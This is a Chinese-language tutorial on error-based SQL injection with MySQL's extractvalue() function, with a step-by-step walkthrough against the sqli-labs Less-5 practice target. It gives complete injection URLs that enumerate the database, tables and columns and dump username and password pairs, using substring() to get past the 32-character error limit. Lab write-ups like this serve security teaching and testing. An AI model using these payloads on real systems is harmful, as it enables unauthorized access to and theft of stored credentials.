extractvalue报错注入理论及实战

报错注入

什么是报错注入

构造语句,让错误信息中夹杂可以显示数据库内容的查询语句,返回报错提示中包括数据库中的内容

如上图所示,通过group by的报错,我们可以知道列数是多少

输入正确的查询数据库的SQL语句,虽然可以执行成功,但是页面不显示数据库的名称

我们故意将database写为databasa,此时数据库的名称security在报错信息中显示了出来

因此可以利用报错的信息得到我们想要的信息。

1.通过floor()报错注入

2.通过extractvalue()报错注入

3.通过updatexml()报错注入

通过extractvalue()报错注入

extractvalue包含两个参数,第一个参数XML文档对象名称,第二个参数 路径

select extractvalue(doc,'/book/author/surname') from xml;

把查询参数格式符号写错

select extractvalue(doc,'`book/title') from xml;

可以看到'~book/title'在报错的时候是可以回显出来的,如果将这个地方换成SQL语句,他也会将结果以报错的形式反馈出来。

select extractvalue(doc,concat(0x7e,(select database()))) from xml;

错误提示成功报错出我们要查询的内容

extractvalue(1,2)//两个参数

concat(1,2)//两个参数

(select database())//要把命令写到括号里面,之后可以直接使用替换括号内容的方式进行查询。黄色括号里面

报错注入:一次只能返回32个字符问题,解决此问题可以使用substring函数

substring(1,2,3)三个参数,第一个参数是内容,第二个参数是要从第几个开始截取,第三个参数是要截取多少个

?id=1' and 1=extractvalue(1,concat(0x73,(select substring(group_concat(username,'-',password),25,30)from users))) --+

1.数据库 security
2.数据库 http://sqli-labs:8088/Less-5/?id=1' union select extractvalue (1,concat(0x7e,(select database())))  --+ 
3.数据表 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))  --+ 
4.数据段 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))  --+ 
5.查询内容 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(username,'-',password) from security.users)))  --+ 
6.截取内容 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select substring(group_concat(username,'-',password),30,60) from security.users)))  --+ 
本次注入sqli-labs靶场的Less-5

首先按照页面提示,get请求拼接?id=1尝试,发现页面显示You are in......... 页面可以正常显示

按照我们注入的顺序,第一步先去分析是字符型还是数字型,如果是字符型要弄清楚闭合方式是什么,我们随便丢一个单引号尝试。根据报错提示,可以看出是字符型注入而且闭合方式是单引号

下一步去判断列数,使用order by函数。列数为3时可以正常显示,由此判定列数为3

构造SQL语句,查询数据库信息,查看回显内容位置,发现命令执行成功,但是页面没有回显内容。

直接尝试报错注入,使用extractvalue函数。构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,'~adb') --+

可以看到报错回显了内容信息,可以使用报错注入。

先查数据库,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select database()))) --+

拿到了数据库名称security

紧接着查询数据表,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+

得到数据表 users,根据经验可以猜出账号与密码都在这个表里面

查询数据表里面的字段,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+

拿到字段:id,username,password

都到这一步了,直接查询username,password这两个字段里面的信息,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,'-',password) from security.users))) --+

得到了内容,但是显示的不完整,这是因为报错注入一次只能返回32个字符,直接使用substring函数帮助我们

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select substring(group_concat(username,'-',password),30,30) from security.users))) --+

注入完成!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/123100.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Zookeeper经典应用场景实战(二)

1. Zookeeper 分布式锁实战 1.1 什么是分布式锁 在单体的应用开发场景中涉及并发同步的时候,大家往往采用Synchronized(同步)或者其他同一个JVM内Lock机制来解决多线程间的同步问题。在分布式集群工作的开发场景中,就需要 一种更…

android studio 字节码查看工具jclasslib bytecode viewer

jclasslib bytecode viewer 是一款非常好用的.class文件查看工具; jclasslib bytecode editor is a tool that visualizes all aspects of compiled Java class files and the contained bytecode. Many aspects of class files can be edited in the UI. In addit…

excel表的筛选后自动求和

一般都使用subtotal函数。 通过看一个大佬的视频,发现可以有更简单的方法。 首先任意筛选数据(ctrlshiftl), 然后选中需要求和的列的最下方的空白单元格,再按alt。 回车即可。 实质它还是用的subtotal函数

【TiDB】TiDB CLuster部署

目录 0 大纲 一 集群部署工具TiUP简介 1 TiUP 简介 2 TiUP使用 3 TiUP使用举例 二 TiDB Cluster安装配置需求 1 生产环境硬件需求 2 操作系统需求 三 TIDB部署 1 软硬件需求以及前置检查​编辑 2 安装TiUP 组件 ​3 集群拓扑文件 4 执行部署命令 (1&…

Spring Gateway网关服务分析

关键原理解析 基本原理 Spring Cloud Route核心可以概括为Gateway过滤器框架和Route定义和解析两块内容。 DefaultFilter、GatewayFilter、GlobalFilter 三种过滤器的区别及执行顺序 SpringCloud Gateway中的提到的过滤器包括三种类型: DefaultFilter&#xff1…

金融信贷行业如何准确——大数据精准定位获客渠道

通过大数据精准获客,不仅可以及时拦截网址浏览量,还可以访问移动贷款应用软件的高频活跃客户和新注册客户。此外,通过大数据进行准确的客户获取,还可以获得电话座机号码的实时通信记录,捕捉小程序应用程序和关键词搜索…

使用TS进行Vue-Router的Meta类型扩展

文章目录 1、前言2、解决 1、前言 使用Vue-Router时,会将一些字段信息附加到路由的Meta对象里面,比如图标icon,标题,权限等,如下: {path: /billboard/board/:boardId,name: billboardBoard,props: true,c…

【电路笔记】-基尔霍夫电路定律

基尔霍夫电路定律 文章目录 基尔霍夫电路定律1、框架和定义2、基尔霍夫电流定律3、基尔霍夫电压定律4、基尔霍夫定律应用5、基尔霍夫定律的局限性6、总结 在本文中,将介绍最基本、最重要的电路定律之一。 这些定律由德国医生古斯塔夫基尔霍夫 (Gustav Kirchoff) 于 …

apachesolr中简单使用

core使用 首先点击add core 可以看到报错solrconfig.xml不在new_core目录下,new_core是我们点击后自动创建的 那么我们将D:\solr2\solr-9.3.0\solr-9.3.0\server\solr\configsets下的任何一个目录下的conf拷贝到new_core过去 这里是使用_default下的conf目录拷贝…

解决方案 |法大大电子合同推动汽车后市场多元数智化发展

近日,商务部等9部门联合发布《关于推动汽车后市场高质量发展的指导意见》(以下简称《指导意见》),明确了汽车后市场发展的总体目标和主要任务,系统部署推动汽车后市场高质量发展,促进汽车后市场规模稳步增长…

kubernetes集群编排——k8s资源监控

资源限制 上传镜像 [rootk8s2 limit]# vim limit.yaml apiVersion: v1 kind: Pod metadata:name: memory-demo spec:containers:- name: memory-demoimage: stressargs:- --vm- "1"- --vm-bytes- 200Mresources:requests:memory: 50Milimits:memory: 100Mi [rootk8s2…

3D可视化字母出现频率_vtkLinearExtrusionFilter

开发环境: Windows 11 家庭中文版Microsoft Visual Studio Community 2019VTK-9.3.0.rc0vtk-example参考代码目的:学习与总结 demo解决问题:统计输入文本中字母出现的频率,不区分大小写,使用3D可是化方式进行显示&…

数据结构-Prim算法构造无向图的最小生成树

引子: 无向图如果是一个网,那么它的所有的生成树中必有一颗生成树的边的权值之和是最小的,我们称 这颗权值和最小的树为:“最小生成树”(MST)。 其中,一棵树的代价就是树中所有权值之和。 而…

STM32 TIM定时器,配置,详解(1)

计数器寄存器(TIMx_CNT)、预分频器寄存器(TIMx_PSC)、自动重载寄存器(TIMx_ARR)。 PSC预分频器,顾名思义,先预备一下分频,有时候频率过高,后面的定时器承受不住,就先用PSC先分频一下。如何分频的?将每接受到…

地铁机电设备健康管理现状及改善方法

轨道交通和我们的生活息息相关,从火车到地铁再到轻轨,给人们的出行带来了很大的便利。因此,保障轨道交通的的正常运行和安全至关重要,需要运维人员及时排查设备的问题,解决故障,保证轨道交通的安全运行。本…

干洗店洗鞋店管理系统app小程序;

干洗店洗鞋店管理系统是一款专业的洗衣店管理软件,集成了前台收费收银系统、会员卡管理系统和财务报表系统等强大功能。界面简洁优美,操作直观简单。这款系统为干洗店和洗衣店提供了成本分析、利润分析、洗衣流程管理等诸多实用功能,用全新的…

线程基础概念

目录 背景知识 堆空间的划分 缺页中断 虚拟地址到物理地址的映射 线程是什么 线程是什么 理解线程 创建线程 再次理解线程 重新理解进程 背景知识 下面的三个问题实际是堆虚拟地址空间的再一次理解! 堆空间的划分 再虚拟地址空间的那一块,我…

【MySQL事务篇】多版本并发控制(MVCC)

多版本并发控制(MVCC) 文章目录 多版本并发控制(MVCC)1. 概述2. 快照读与当前读2.1 快照读2.2 当前读 3. MVCC实现原理之ReadView3.1 ReadView概述3.2 设计思路3.3 ReadView的规则3.4 MVCC整体操作流程 4. 举例说明4.1 READ COMMITTED隔离级别下4.2 REPEATABLE READ隔离级别下 …

软件测试|selenium执行js脚本

JavaScript是运行在客户端(浏览器)和服务器端的脚本语言,允许将静态网页转换为交互式网页。可以通过 Python Selenium WebDriver 执行 JavaScript 语句,在Web页面中进行js交互。那么js能做的事,Selenium应该大部分也能…

Spring的注入

目录 一、Spring的概念 二、各种数据类型的注入 (1)studentService (2)applicationContext.xml(Sring核心配置文件) (3)测试 三、注入null或者empty类型的数据 (1…